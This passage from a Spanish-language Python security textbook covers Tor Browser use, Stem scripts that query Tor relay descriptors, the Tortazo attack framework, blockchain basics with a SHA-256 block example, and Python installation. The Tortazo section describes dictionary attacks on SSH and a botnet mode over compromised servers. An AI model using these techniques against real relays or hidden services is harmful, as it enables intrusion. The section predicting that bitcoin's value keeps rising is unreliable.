Las tendencias actuales en leyes, políticas y tecnología amenazan el anonimato como nunca antes, lo que socava nuestra capacidad de hablar y leer libremente en línea. Estas tendencias también socavan la seguridad nacional y la infraestructura crítica haciendo que la comunicación entre individuos, organizaciones, corporaciones y gobiernos sea más vulnerable al análisis. Cada nuevo usuario y retransmisión proporciona diversidad adicional, mejorando la capacidad de Tor de poner el control de su seguridad y privacidad nuevamente en sus manos.

8.9.5 Tor Browser

8.9.5.1 INSTALACIÓN

Puede abrir el Navegador Tor como Firefox, Chrome, Internet Explorer, puede descargarlo de la siguiente URL:

https://www.torproject.org/download/download-easy.html.en

Al finalizar la descarga, Inicie la instalación con un doble clic:

En la próxima ventana, se sugiere elegir una carpeta para configurar el paquete del navegador Tor. Por predeterminado, se indica un escritorio. Es posible cambiar el lugar de configuración:

El proceso de instalación se completa cuando ve una ventana que indica que ha completado el proceso de instalación. Si hace clic en el botón Finalizar, el Navegador Tor se iniciará de inmediato y los accesos directos de “Inicio Tor Navegador”.

8.9.5.2 USO

La primera vez que el navegador Tor arranque en su computadora, aparecerá una ventana que le permitirá modificar algunos ajustes si es necesario. Comenzara conectándose a la red Tor haciendo un clic al botón de Conectar/Connect.

Después de eso aparecerá una nueva ventana con campo verde:

La primera vez que el navegador Tor inicie, podría demorar algo, pero tenga paciencia.

Haga clic en el logo de la cebolla Tor en la parte superior izquierda del navegador, luego a la configuración de Privacidad y Seguridad.

Algunas opciones de un navegador web normal pueden hacerle vulnerable a un ataque intruso del tipo "ataque por intermediario". Otras características han tenido errores de software o "bugs" en ellas que han revelado la identidad de los usuarios. Deslizando los niveles de Seguridad al nivel más alto desactiva estas características. Esto lo hará más seguro de los atacantes que pueden interferir con su conexión de Internet o aprovechar nuevos errores en estas características. Desafortunadamente, al desactivar estas características puede hacer que algunos sitios web no se desplieguen por completo. El nivel bajo por defecto está bien para una protección diaria, pero lo puede elevar si está preocupado por atacantes sofisticados, o si no le molesta que algunos sitios web no se desplieguen correctamente.

8.9.6 Recomendación de uso de la Red Tor

Debes cambiar algunos de tus hábitos, ya que algunas cosas no funcionarán exactamente como solías hacerlo:

8.9.6.1 UTILICE EL NAVEGADOR TOR

Tor no protege todo el tráfico de Internet de tu computadora cuando lo ejecutas. Tor solo protege sus aplicaciones que están configuradas correctamente para enviar su tráfico de Internet a través de Tor. Para evitar problemas con la configuración Tor, le recomendamos utilizar el navegador Tor. Está preconfigurado para proteger su privacidad y anonimato en la web siempre que esté navegando con Tor Browser. Es probable que no sea seguro usar casi cualquier otra configuración de navegador web con Tor.

8.9.6.2 NO TORRENT SOBRE TOR

Se ha observado que las aplicaciones de intercambio de archivos Torrent ignoran las configuraciones proxy y hacen conexiones directas incluso cuando se les dice que usen Tor. Incluso si su aplicación de torrente se conecta solo a través de Tor, a menudo enviará su dirección IP real en la solicitud GET del rastreador, porque así es como funcionan los torrentes. No solo desanonimiza el tráfico de torrents y el tráfico simultáneo Tor de tu red de esta manera, sino que también ralentizas toda la red Tor para todos los demás.

8.9.6.3 NO HABILITE NI INSTALE COMPLEMENTOS DEL NAVEGADOR

El navegador Tor bloqueará los complementos del navegador como Flash, RealPlayer, Quicktime y otros: pueden manipularse para revelar su dirección IP. Del mismo modo, no recomendamos instalar complementos o complementos adicionales en el navegador Tor, ya que pueden omitir Tor o dañar su anonimato y privacidad.

8.9.6.4 USE HTTPS VERSIONS OF WEBSITES

Tor encriptará su tráfico hacia y dentro de la red Tor, pero la encriptación de su tráfico al sitio web de destino final depende de ese sitio web. Para ayudar a garantizar el cifrado privado de los sitios web, Tor Browser incluye HTTPS Everywhere para forzar el uso del cifrado HTTPS con los principales sitios web que lo admiten. Sin embargo, debe seguir mirando la barra de URL del navegador para asegurarse de que los sitios web que proporciona información confidencial muestren un botón de barra de URL azul o verde, incluya https: // en la URL y muestre el nombre esperado adecuado para el sitio web. También vea la página interactiva de EFF explicando cómo se relacionan Tor y HTTPS.

8.9.6.5 NO ABRA DOCUMENTOS DESCARGADOS A TRAVÉS DE TOR MIENTRAS ESTÁ EN LÍNEA

El navegador Tor lo advertirá antes de abrir automáticamente los documentos manejados por aplicaciones externas. NO IGNORE ESTA ADVERTENCIA. Debe tener mucho cuidado al descargar documentos a través de Tor (especialmente archivos DOC y PDF, a menos que use el visor de PDF integrado en el navegador Tor) ya que estos documentos pueden contener recursos de Internet que la aplicación que los abre descargará fuera de Tor. Esto revelará su dirección IP no Tor. Si debe trabajar con archivos DOC y/o PDF, recomendamos encarecidamente utilizar una computadora desconectada, descargar la VirtualBox gratuita y usarla con una imagen de máquina virtual con redes deshabilitadas o usar Tails. Sin embargo, bajo ninguna circunstancia es seguro usar BitTorrent y Tor juntos.

8.9.6.6 USE PUENTES

Tor intenta evitar que los atacantes aprendan a qué sitios web de destino se conecta. Sin embargo, de forma predeterminada, no impide que alguien que vea su tráfico de Internet descubra que está usando Tor. Si esto es importante para usted, puede reducir este riesgo configurando Tor para usar un relé puente Tor en lugar de conectarse directamente a la red Tor pública. En última instancia, la mejor protección es un enfoque social: cuantos más usuarios de Tor estén cerca de usted y más diversos sean sus intereses, menos peligroso será que usted sea uno de ellos. ¡Convence a otras personas para que también usen Tor!

8.9.7 Comprobando privacidad

Para comprobar nuestra privacidad ingrese a la siguiente URL:

Otra manera es ingresar a la siguiente URL:

8.9.8 Controlando una instancia local TOR

Antes de iniciar una instancia local de **TOR** (cliente) es necesario verificar el valor de la propiedad "**ControlPorf**" ya que dicho valor, indica el puerto utilizado para que rutinas externas puedan controlar la instancia local de **TOR.**

```
from stem.control import Controller
import getpass
#solicita una contraseña
clave=getpass.getpass('Controller password pass:')
#Ahora habilita ControlPort for Tor para escuchar los comandos.
controller=Controller.from_port(port=9151)
#autentificacion en una instancia de TOR
controller.authenticate(clave)
print(controller.get_info("address")) #consulta claves disponibles
```

8.9.9 Información de repetidores disponibles

Stem puede ser útil para controlar una instancia de **TOR** desde una rutina de código externa, pero también cuenta con algunas utilidades que le permiten a un atacante consultar los descriptores. Dichos documentos contienen mucha información sobre los repetidores que conforman la red de **TOR** y dicha información puede ser utilizada para realizar ataques dirigidos contra cualquier repetidor en la red. La información que puede ser recuperada de los descriptores emitidos, contiene datos sobre la versión del sistema operativo del repetidor, Ancho de banda aportado, **Nickname, Fingerprint,** dirección **IP,** entre otros datos que pueden resultar bastante informativos y reveladores para un atacante.

Uno de los mecanismos más sencillos para obtener los últimos descriptores generados es utilizando la clase **stem.descriptor.remote.DescriptionDownloader.**

```
from stem.descriptor.remote import DescriptorDownloader
descarga = DescriptorDownloader()
for descriptor in descarga.get_consensus().run():
    if descriptor. exit_policy. is_exiting_allowed () :
        print(descriptor)
```

IDE: Pycharm

8.9.10 Información de autoridades de directorio

Cuando una aplicación necesita a conectarse a la red Tor, primero busca un retransmisor de salida con las políticas adecuadas a la conexión que desea realizar. Esto lo hace mediante las Autoridades de Directorio, que guardan dicha y otra información referida a los retransmisores.

```
from stem.descriptor import DocumentHandler
from stem.descriptor.remote import DescriptorDownloader
downloader = DescriptorDownloader()
print("Consenso firmado por...\n")
consulta = downloader.get_consensus(document_handler = DocumentHandler.BARE_DO-
CUMENT)
for authority in consulta.run()[0].directory_authorities:
  print(authority.nickname, authority.v3ident)
```

IDE: Pycharm

Tor es una red centralizada y gestionada por un conjunto de servidores.

8.9.11 Tortazo

Tortazo es un framework de auditoría y ataque para la Deep web de TOR. Admite la integración con otros framework y herramientas como Nessus, W3AF, Nikto, Metasploit y otros, pero se centra en las redes TOR y los servicios ocultos.

8.9.12 Modos de uso de Tortazo

Hay cuatro modos de ejecución de Tortazo, cada uno de estos permite recopilar información de la red TOR y realizar ataques contra retransmisiones y servicios ocultos. Los modos de ejecución son los siguientes.

8.9.12.1 REUNIENDO INFORMACIÓN

Este es el modo de ejecución más básico, que descargará los descriptores del último consenso generado por las autoridades del directorio TOR y luego permitirá aplicar algunos filtros a la información descargada. Finalmente, inicia un escaneo con Nmap contra los datos filtrados, identificando los puertos abiertos y una gran cantidad de detalles sobre el objetivo, puede usar todas las opciones incluidas en el escáner Nmap, incluido el motor de secuencias de comandos (NSE). Los resultados se almacenarán en la base de datos local de Tortazo y si ejecuta Tortazo varias veces en este modo, se almacenará más información en la base de datos. Las muestras de datos más grandes tienen más posibilidades de obtener resultados positivos contra cualquiera de los relés registrados, por lo que se recomienda ejecutar Tortazo en este modo varias veces. Obtenga más información sobre cómo recopilar información en Modo Tortazo Recopilar información.

8.9.12.2 MODO BOTNET

Este modo se usa para ejecutar comandos sobre un conjunto de servidores SSH comprometidos utilizando el complemento “bruter”. Como puedes ver en Complementos en Tortazo. Introducción albruter plugin se utiliza para ejecutar ataques de diccionario contra múltiples servicios en retransmisiones o servicios ocultos. Si el ataque del diccionario contra un servidor SSH es exitoso, el complemento escribe los detalles del servidor comprometido en el archivo “<DIR_ TORTAZO> /

tortazo_botnet.bot". En este modo, Tortazo leerá ese archivo para crear los bots en el contexto de la botnet. Puede ejecutar comandos paralelos contra el botnet completo o excluir bots para ejecutar los comandos en algunas máquinas. Lea más sobre el modo Botnet en el modo Tortazo Botnet en Tortazo.

8.9.12.3 MODO BASE DE DATOS

Si tiene suficiente información en su base de datos, puede usarla para realizar ataques directos utilizando algunos de los complementos disponibles en Tortazo. En este modo, no hay conexiones con las autoridades del directorio TOR para recopilar información sobre los relés que conforman la red, en su lugar, Tortazo utilizará la información almacenada en la base de datos. Obtenga más información sobre el modo de base de datos en el modo de base de datos Tortazo en Tortazo.

8.9.12.4 GESTIÓN DE COMPLEMENTOS

Los complementos en Tortazo son la mejor manera de integrar rutinas externas escritas en Python directamente en el marco, permitiendo a cualquier desarrollador de Python escribir sus propias herramientas para realizar auditorías contra servicios ocultos y relés TOR. Ya se han desarrollado varios complementos que integran herramientas como Nessus, W3AF, Metasploit Framework, entre otros, y complementos personalizados para realizar actividades de pentesting. Obtenga más información sobre el desarrollo y el uso de complementos en Complementos de Tortazo en Tortazo.

8.9.12.5 MODO DE REPOSITORIO

En este modo, Tortazo intentará generar direcciones de ONION y luego probará si las direcciones generadas apuntan a un servicio oculto en la web profunda. Cada dirección de cebolla está compuesta por 16 caracteres y los caracteres válidos son el alfabeto completo en minúscula y los dígitos entre 2 y 7, como se puede imaginar, la cantidad de direcciones de CEBOLLA que se pueden generar es MUY, MUY ENORME y esta es la razón por la cual El modo de ejecución del repositorio no finalizará en pocas horas, podría tomar días o incluso semanas generar y probar cada dirección de cebolla "posible". En realidad, la ejecución de este modo, depende MUCHO de la información que tiene sobre una dirección y la capacidad de procesamiento de su máquina. Si usted representa un gobierno, tal vez este tipo de limitaciones relacionadas con la capacidad de procesamiento sean menos severas en comparación con las restricciones de cualquier persona física. Sin embargo, lea más sobre el desarrollo y uso de complementos en el modo Repositorio Tortazo en Tortazo.

9

BLOCKCHAIN

9.1 INTRODUCCIÓN

“Nos escontramos en la segunda revolución, se esta transmite VALOR instantáneo, confiable y a bajo costo”

Una cadena de bloques o cadena articulada, conocidas en inglés como blockchain, es una estructura de datos en la que la información contenida se agrupa en conjuntos (bloques) a los que se le añade metainformación relativa a otro bloque de la cadena anterior en una línea temporal, de manera que gracias a técnicas criptográficas la información contenida en un bloque solo puede ser repudiada o editada modificando todos los bloques posteriores. Esta propiedad permite su aplicación en entorno distribuido de manera que la estructura de datos blockchain puede ejercer de base de datos pública no relacional que contenga un histórico irrefutable de información . En la práctica ha permitido, gracias a la criptografía asimétrica y funciones de resumen o hash, la implementación de un registro contable (ledger) distribuido que permite soportar y garantizar la seguridad de dinero digital 8. Siguiendo un protocolo apropiado para todas las operaciones efectuadas sobre la blockchain, es posible alcanzar un consenso sobre la integridad de sus datos por parte de todos los participantes de la red sin necesidad de recurrir a una entidad de confianza que centralice la información. Por ello se considera una tecnología en la que la "verdad" (estado confiable del sistema) es construída, alcanzada y fortalecida por los propios miembros; incluso en un entorno en el que exista una minoría de

nodos en la red con comportamiento malicioso (nodos sybil) dado que, en teoría, para comprometer los datos, un atacante requeriría de una mayor potencia de cómputo y presencia en la red que el resultante de la suma de todos los restantes nodos combinados. Por las razones anteriores, la tecnología blockchain es especialmente adecuada para escenarios en los que se requiera almacenar de forma creciente datos ordenados en el tiempo, sin posibilidad de modificación ni revisión y cuya confianza pretenda ser distribuída en lugar de residir en una entidad certificadora. Este enfoque tiene diferentes aspectos:

- Almacenamiento de datos: se logra mediante la replicación de la información de la cadena de bloques.
- Transmisión de datos: se logra mediante redes de pares.
- Confirmación de datos: se logra mediante un proceso de consenso entre los nodos participantes. El tipo de algoritmo más utilizado es el de prueba de trabajo en el que hay un proceso abierto competitivo y transparente de validación de las nuevas entradas llamada minería.

El concepto de cadena de bloque fue aplicado por primera vez en 2009 como parte de Bitcoin.

Los datos almacenados en la cadena de bloques normalmente suelen ser transacciones (P. Ej. financieras) por eso es frecuente llamar a los datos transacciones. Sin embargo, no es necesario que lo sean. Realmente podríamos considerar que lo que se registran son cambios atómicos del estado del sistema. Por ejemplo, una cadena de bloques puede ser usada para estampillar documentos y asegurarlos frente a alteraciones.

9.2 CARACTERÍSTICAS DEL BLOCKCHAIN

Replicación P2P (peer-to-peer). -Estas redes son un conjunto de ordenadores conectados entre sí llamados nodos en los que se permite el intercambio directo de información, sin necesidad de que esa información pase antes por un servidor central.

Descentralización. - Al contrario que los bancos o entes gubernamentales sistemas centralizados la blockchain funciona a través de un sistema descentralizado.

Irreversibilidad e inmutabilidad. - Una vez que se ha grabado un dato o se ha realizado una transacción en la cadena de bloques, es imposible de eliminar.

Criptografía y seguridad. - la red puede verificar que una transacción fue enviada por la persona que posee la clave privada sin que esta revele su identidad.

Carácter público. - la cadena de bloques hace que las transacciones y las validaciones de bloques puedan ser vistas por todos y cada uno de los participantes de la red.

Privacidad y transparencia. - La cadena de bloques proporciona verificabilidad pública de su estado general sin filtrar información sobre el estado de cada participante individual.

Integridad. - En la cadena de bloques, para poder "hacer trampas" al resto de la red, se necesitaría que el resto de la red aceptase esas trampas.

Cronología. - la blockchain es el proceso de mantener un registro seguro del tiempo de creación y modificación de un documento.

Rapidez. - La blockchain hace posible que las transacciones se realicen de forma más rápida que a través de una entidad central como los bancos.

9.3 APLICACIÓN DE BLOCKCHAIN

Existe una diversidad de aplicaciones del BlockChain, aquí detallamos algunas:

1. **Seguridad de la información**

   En temas como la integridad de los datos y las identidades digitales hasta hacer que los dispositivos de la Internet de las Cosas sean más seguros con el fin de prevenir ataques DDoS. Ayudando a cumplir los atributos de: confidencialidad, integridad y disponibilidad.

   "El blockchain conecta los vacíos que nos quedan con nuestra pobre implementación de seguridad y falta de confiabilidad" y "Con los métodos de blockchain, podemos verificar y firmar nuestras transacciones correctamente" como lo indica Bill Buchanan.

2. **Prueba concluyente de autoría o conocimiento (texto, audio, video)**

   Los creadores de contenidos digitales pueden proteger y demostrar que son los creadores, a pesar de las posibles transformaciones y réplicas de los archivos**. Esto mediante un registro universal de los activos digitales**, donde se gobernaría el uso y licencias de los contenidos, así como la trazabilidad en función de su distribución y consumo.

"**Un modelo transparente en cuanto a las reglas de uso de los activos digitales y los derechos de propiedad intelectual**"

3. **Fin de los notarios**

   Blockchain es un sistema que permite garantizar con plena seguridad jurídica la existencia de un documento y la firma del mismo, así como la fecha, hora y no modificación e los archivos.

   Los nuevos servicios de certificación y registro basados en el protocolo Blockchain, como Stampery, pueden sustituir por completo al notario anglosajón, pero solo en parte a notario latino-germano.

4. **Títulos y certificados**
   - Impide falsificación.
   - Evita fraude interno futuro.
   - Simplifica/agiliza verificación.

5. **Firma digital e identidad**
   - Firma digital potenciada (smart signing, imposibilidad de reemplazo de firmas).
   - Integración con documentos de identidad digitales.
   - Distintas plataformas pueden compartir identidad sin un repositorio propio de datos y de identificador único.

6. **Transparencia gubernamental**
   - Gobierno abierto: mayor control ciudadano en DD.JJ. y transparencia en cualquier otra documentación que así lo requiera.
   - Rendición de cuentas: trazabilidad en partidas presupuestarias.
   - Plataforma de voto electrónico.

7. **Mercado de capitales**
   - Settlement inmediato.
   - Registro consolidado.
   - Auditoría consolidada.
   - Reducción de riesgo.
   - Eficiencia.

8. **Compras y licitaciones**
   - Confianza: sobre/plataforma web/matemática.
   - Mayor transparencia (registro público y auditable).
   - Menor posibilidad de fraude o corrupción.
9. **Trámite y sellado digital**
   - Hoy el ciudadano no tiene prueba de lo que realiza en un portal de gobierno.
   - Un número de trámite, o un documento PDF fácilmente editable, no le permite demostrar de manera fehaciente que realizó una gestión ante un organismo público (el trámite digital se puede perder/"traspapelar" o adulterar sin que el ciudadano tenga prueba inequívoca del mismo).

Fuente: Deloitte/uk

9.4 TECNOLOGÍA DEL LIBRO MAYOR

Blockchain opera como un libro contable distribuido, público, abierto y compartido es una base de datos de transacciones accesible a todos los participantes por medio de Internet, con base en la Tecnología de Libro Mayor Distribuido (TLD) sin control centralizado. Cada parte es titular de una copia idéntica del registro, que se actualiza automáticamente tan pronto como se hacen agregados.

Fuente: bankcoin.global

9.5 CRIPTOMONEDAS

El término "criptomoneda" es la abreviatura de "moneda criptográfica". Se refiere a un nuevo tipo de dinero digital. Bitcoin fue la primera criptomoneda del mundo. Hoy en día, hay más de 1500 criptomonedas, incluidas conocidas como Ethereum y otras tontas como Weed Coin.

Las criptomonedas son similares a las monedas normales. Se pueden usar como medio de intercambio o como depósito de valor. Puede comprar productos y servicios con criptomonedas. O bien, puede almacenar su riqueza en criptomonedas.

9.5.1 Historia

Fuente : 99bitcoins.com

9.5.2 Características del valor de las criptomonedas

El valor se basa en lo siguiente:

- **Descentralización**

  Las monedas tradicionales, como el dólar estadounidense, están controladas por instituciones como el Sistema de la Reserva Federal de EE. UU. Otros países tienen sus propios bancos centrales, como el Banco de Canadá o el Banco de Inglaterra. Estas instituciones permiten a los gobiernos y bancos controlar el suministro de divisas. Pueden "imprimir" unidades de esta moneda siempre que lo deseen.

  Cuando un gobierno imprime dinero, ese dinero se denomina moneda fiduciaria. "Fiat" simplemente significa "por decreto". Una hoja de papel solo tiene valor "por decreto" cuando el gobierno de los Estados Unidos pone su sello y la llama factura de $ 100, por ejemplo.

  Las criptomonedas funcionan de manera diferente. Las criptomonedas no están controladas por nadie. No están controlados por ninguna persona específica, ni están controlados por un gobierno o banco. Las criptomonedas como Bitcoin están "descentralizadas" porque el control se extiende a toda la red de usuarios de bitcoins.

- **Suministro fijo**

  Las criptomonedas también funcionan de manera diferente porque su suministro está limitado. Solo puede haber 21 millones de bitcoins en existencia, por ejemplo. Mientras tanto, las monedas fiduciarias tradicionales como el USD no tienen un suministro fijo: el gobierno puede imprimir más dólares estadounidenses cuando lo deseen. Es por eso que tenemos inflación. La cantidad total de billetes en USD en circulación aumenta cada año, lo que significa que el valor de cada factura en USD en circulación está disminuyendo gradualmente. Bitcoin y otras criptomonedas tienen un suministro fijo que conduce a la *deflación en* lugar de la inflación, razón por la cual el valor de bitcoin ha aumentado constantemente con el tiempo.

- **Transferibilidad**

  La otra característica única de las criptomonedas es su transferibilidad. Las criptomonedas se pueden transferir fácilmente a cualquier parte del mundo sin la necesidad de depender de un tercero, como un banco. Puede enviar bitcoin a cualquier parte del mundo sin necesidad de verificar su identidad o adjuntar información personal a una transacción.

La mayoría de las criptomonedas también tienen tarifas comparativamente bajas. Puede costar $ 50 para transferir $ 200 con Western Union, por ejemplo, pero solo $ 0.05 para transferir $ 2 millones en Bitcoin. Este es un gran beneficio para cualquier persona en el mundo, ya sea que sea un millonario que busca transferir dinero de forma segura y económica o que sea un trabajador migrante que envía dinero a amigos y familiares en el extranjero.

Las transferencias de criptomonedas tienen otra ventaja: las transferencias son irreversibles y seguras, lo que significa que los comerciantes no tienen que preocuparse por el costo del fraude o los contracargos.

9.5.3 Bitcoin es un gran negocio

Bitcoin se introdujo en línea en octubre de 2008. En enero de 2009, el bitcoin blockchain había lanzado su primer bitcoin. Entonces comenzó la era de las criptomonedas.

Bitcoin fue el primero en introducir el concepto de un libro distribuido, algo que conocemos como blockchain. Hoy en día, bitcoin sigue siendo la criptomoneda más grande y popular por capitalización bursátil. De hecho, Bitcoin no ha sido destronado una vez desde 2009, a pesar de desafíos como Bitcoin Cash (BCH), Ethereum (ETH) y Litecoin (LTC) que se acercan en varios momentos de la historia.

Bitcoin creció en popularidad por todos los motivos enumerados anteriormente: es fácil de transferir. Es descentralizado y resistente a la censura. Y se puede acceder sin la necesidad de bancos tradicionales.

En términos de criptomonedas, sin embargo, bitcoin no es la mejor criptomoneda del mundo de hoy. No es la criptomoneda más rápida. De hecho, una transacción de bitcoin tarda aproximadamente 10 minutos en completarse, en comparación con los milisegundos de otras criptomonedas. Bitcoin también está plagado de tarifas relativamente altas: las transacciones pueden costar varios dólares en comparación con fracciones de un centavo en otras cadenas de bloques.

Bitcoin claramente tiene inconvenientes. Bitcoin, sin embargo, sigue siendo popular debido a su ventaja de primer jugador. Bitcoin fue la primera criptomoneda que surgió en la escena, y es por eso que sigue siendo tan popular.

9.5.4 Creador de Bitcoin Satoshi Nakamoto

Bitcoin, como un buen superhéroe, tiene una historia de origen intrigante. Es posible que haya oído hablar de Satoshi Nakamoto. Satoshi creó Bitcoin.

Satoshi no es un programador de computadoras japonés. En cambio, Satoshi Nakamoto es una persona anónima, o un grupo anónimo de personas, responsable de la creación y el desarrollo inicial de bitcoin. Nakamoto publicó por primera vez el documento de investigación de bitcoin en línea el 31 de octubre de 2008. El documento fue titulado, "Bitcoin: un sistema de efectivo electrónico punto a punto".

Satoshi continuó desarrollando bitcoin hasta mediados de 2010. Satoshi se comunicó activamente con otros desarrolladores de bitcoins mientras contribuía al código fuente de bitcoin. Entonces, Satoshi desapareció de repente. Satoshi entregó el control del repositorio de código fuente de bitcoin a otro desarrollador principal llamado Gavin Andresen. Satoshi también transfirió varios dominios a varios miembros prominentes de la comunidad bitcoin. Entonces, nunca se supo de Satoshi.

La principal innovación en la invención de Bitcoins de Satoshi fue el desarrollo de un sistema de computación distribuida conocido como el "algoritmo de prueba de trabajo" que realiza la validación de transacciones globales cada 10 minutos, permitiendo a la red validar y llegar a un acuerdo de consenso sobre el estado de cada transacción.

Bitcoin fue la primera moneda digital descentralizada que usó la tecnología blockchain y, después de su comprobado historial de éxito y practicidad, ha ganado aceptación tanto entre comerciantes como entre los consumidores.

9.5.5 El crecimiento de Bitcoin

La red bitcoin se lanzó en enero de 2009. En los primeros días, se podía "minar" bitcoins con cualquier computadora ordinaria. También puede comprar bitcoins por una fracción de centavo.El valor de la moneda creció a lo largo de los años. Eventualmente, las personas reconocieron el valor de una moneda global descentralizada. Los minoristas comenzaron a aceptar Bitcoin y los desarrolladores de software comenzaron a crear herramientas de bitcoins. El valor y la usabilidad de bitcoin continuaron creciendo.

El día en que Bitcoin alcanzó la paridad con el USD fue un gran negocio. Los usuarios de Bitcoin celebraban como si acabaran de ganar la lotería. Finalmente, un bitcoin valía $ 1 USD.Bitcoin alcanzó la paridad con el USD en febrero de 2011.

Unos pocos años después, bitcoin alcanzó un máximo histórico de $ 1 400 USD. Luego, volvió a caer a $ 300 o $ 400 después del monte. Gox hack. En 2017, bitcoin alcanzó un nuevo récord histórico de $ 20 000 antes de volver a los $ 10 000.

Las noticias emocionantes Si estás leyendo esto hoy es que la moneda digital aún no ha llegado a la adopción masiva. Es seguro decir que solo estamos arañando la superficie por el potencial de Bitcoins y criptomonedas.

Con el valor transaccional de las criptomonedas subiendo todos los días, un límite de mercado prefijado y el suministro de criptomonedas disminuyendo con el tiempo, el valor de Bitcoin debería continuar en una tendencia ascendente. A diferencia de la moneda fiduciaria que generalmente disminuye y pierde valor con el tiempo.

9.6 CONSTRUCCIÓN DE UNA CADENA DE BLOQUES -PYTHON

Es importante saber cómo funciona la cadena de bloqueo Hashing. La tecnología Blockchain es uno de los descubrimientos más innovadores y definidores de la época del siglo pasado. Al ver la influencia que ha tenido en los últimos años y el impacto que tendrá en el futuro, seguramente no es una exageración decir eso. Para entender cómo funcionan varias criptomonedas como Ethereum y Bitcoin .

En términos simples, hashing significa tomar una cadena de entrada de cualquier longitud y producir una salida de una longitud fija. En el contexto de las criptomonedas como Bitcoin, las transacciones se toman como entrada y se ejecutan a través de un algoritmo hash (Bitcoin usa SHA-256) que da una salida de una longitud fija.

Veamos cómo funciona el proceso de hash. Vamos a poner en ciertas entradas. Para este ejercicio, vamos a usar el SHA-256 (Secure Hashing Algorithm 256).

Para este ejemplo, estoy usando la distribución Anaconda Python 3.

Como la mayoría de las cosas en Python, crear un hash es tan simple como importar una biblioteca que alguien ya ha creado para nosotros. En este caso, esa biblioteca es: hashlib entonces, nuestro primer paso es importar hashlib.

```
importar hashlib
```

Ahora tomemos un momento para aprender la sintaxis requerida para crear un hash criptográfico con hashlib. En este ejemplo, estoy usando el algoritmo de hash SHA 256. Estoy usando esto porque es el mismo algoritmo utilizado por BitCoin.

Aquí está la sintaxis utilizada

```
hashlib.sha256(string.encode()).hexdigest()
```

Entonces, en el siguiente ejemplo, puedes ver que asigné la variable nombre la cadena 'pedro' . Luego pasé nombre a nuestra función hash. El resultado se puede ver a continuación.

```
import hashlib
nombre="pedro"
print(hashlib.sha256(nombre.encode()).hexdigest())
```

ee5cd7d5d96c8874117891b2c92a036f96918e66c102bc698ae77542c186f981

Ahora el código para la creación de bloques:

```
import hashlib
import time
class Bloque:
    def __init__(self):
        self.nombre_bloque = ""
        self.id = 0
        self.hora = time.strftime("%H:%M:%S")
        self.datos = ""
        self.hash_anterior=0
        self.siguiente=""
        self.hash = ""
    def hash_bloque(self):
        sha=(str(self.id) + str(self.hora) + str(self.datos) + str(self.hash_an-
terior))
        return (hashlib.sha256(sha.encode()).hexdigest())
class Intercambio:
    bloque = Bloque()
    hora = time.strftime("%H:%M:%S")
    data=input("Ingrese Datos :")
    bloque.nombre_bloque ="Inkadroid"
    bloque.id =bloque.id+1
    bloque.hora = hora
    bloque.datos = data
    bloque.hash_anterior = bloque.hash_anterior
    bloque.siguiente = bloque.hash_bloque()
    bloque.hash = bloque.siguiente
    print("Bloque :",bloque.nombre_bloque)
```

```
        print("Id Bloque :",bloque.id)
        print("Transaccion :",bloque.hora)
        print("Data :",bloque.datos)
        print("hash anterior :",bloque.hash_anterior)
        print("bloque.siguiente",bloque.siguiente)
        print("hash",bloque.hash)
    if __name__ == '__main__':
        intercambio = Intercambio()
```

Ingrese Datos : autor jorge nolasco valenzuela
Bloque : Inkadroid
Id Bloque : 1
Transaccion : 11:02:07
Data : autor jorge nolasco valenzuela
hash anterior : 0
bloque.siguiente
48341b1b7ab70eb2be27436ae0356ff61b0b95f502cd1e3376b8e415aeed395d
hash
48341b1b7ab70eb2be27436ae0356ff61b0b95f502cd1e3376b8e415aeed395d

9.7 FUTURO DEL BLOCKCHAIN

Según estudios de Accenture, el blockchain ha comenzado una etapa de crecimiento que culminará en 2025, año en el que esta tecnología estará plenamente integrada en los mercados financieros. Acorde con su estudio, el blockchain ya ha superado la fase de exploración y se encuentra en un periodo de "early-adoption": solo actores con grandes posibilidades están implantando las cadenas de bloques en algunas áreas de su interés. Este periodo, que también se desarrollará durante 2017, será en el que lleguen las primeras regulaciones sobre el blockchain.

La siguiente fase se abrirá en 2018 y podría prolongarse hasta 2024, según los cálculos de la consultora estadounidense. Durante la misma, los bancos que implementen el blockchain en la actualidad comenzarán a ver resultados. Accenture también estima para entonces el nacimiento de nuevos servicios basados en las cadenas de bloques, tecnología en la que encuentra numerosos beneficios (rapidez, transparencia o limitación de riesgos), pero también algún peligro (privacidad, seguridad, escalabilidad, implementación y gobernanza).

2015
Exploration & Investment
• Initial capability & use case assessments
• Early adoption likely for internal reconciliation
2016–2017
Early Adoption
• Leading-edge banks see the value of blockchain and begin deployments for asset classes that are bilaterally traded and/or have no central clearing authority
• Regulatory certainty drives adoption for external uses
• Regulatory authorities realize the benefits of blockchain for auditing and compliance, and rule-making begins
2018–2024
Growth
• Banks begin to see the benefits accorded to early adopters and – combined with regulatory guidance and certainty – the network effect takes hold
• New service providers and models emerge
• Deployments go viral across numerous asset classes
• New products and services are created, incumbent processes and services are discarded
2025
Maturity
• Blockchain adoption is considered mainstream and integral to the capital markets ecosystem
Source: Accenture Research

Anexo

INSTALACIÓN DE PYTHON

Python es un lenguaje de programación de alto nivel orientado a objetos y es una gran herramienta para aprender a programar. Python viene instalado de forma predeterminada en los sistemas operativos Mac y Linux, pero deberás instalarlo si eres usuario de Windows. Si utilizas una computadora con un sistema operativo Mac o Linux, puedes instalar la versión más reciente para asegurarte de tener las últimas actualizaciones.

A.1 INSTALACIÓN DE PYTHON EN WINDOWS

1. Ingrese a la siguiente URL para descargar:

   https://www.python.org/downloads/

2. Seleccione su versión según su sistema operativo:

Files

Version	Operating System	Description
Gzipped source tarball	Source release	
XZ compressed source tarball	Source release	
macOS 64-bit/32-bit installer	Mac OS X	for Mac OS X 10.6 and later
macOS 64-bit installer	Mac OS X	for OS X 10.9 and later
Windows help file	Windows	
Windows x86-64 embeddable zip file	Windows	for AMD64/EM64T/x64
Windows x86-64 executable installer	Windows	for AMD64/EM64T/x64
Windows x86-64 web-based installer	Windows	for AMD64/EM64T/x64
Windows x86 embeddable zip file	Windows	
Windows x86 executable installer	Windows	
Windows x86 web-based installer	Windows	

3. Ejecute el Instalador descargado:

A continuación, se iniciará el proceso de instalación.

Una vez completada la instalación, se mostrará la pantalla final.

A.2 COMPROBAR LA INSTALACIÓN

En un terminal ya abierto ejecute el comando: Python (si aparece un símbolo > ya podemos comenzar a codificar en Python).

A.3 AHORA YA PODEMOS REALIZAR PRUEBAS

A.4 ENTORNOS DE TRABAJO

PyCharm

PyCharm es un entorno de desarrollo integrado (IDE) utilizado específicamente para el lenguaje Python, para descargarlo Ingrese a la siguiente URL para descargar: https://www.jetbrains.com/pycharm/

Jupyter

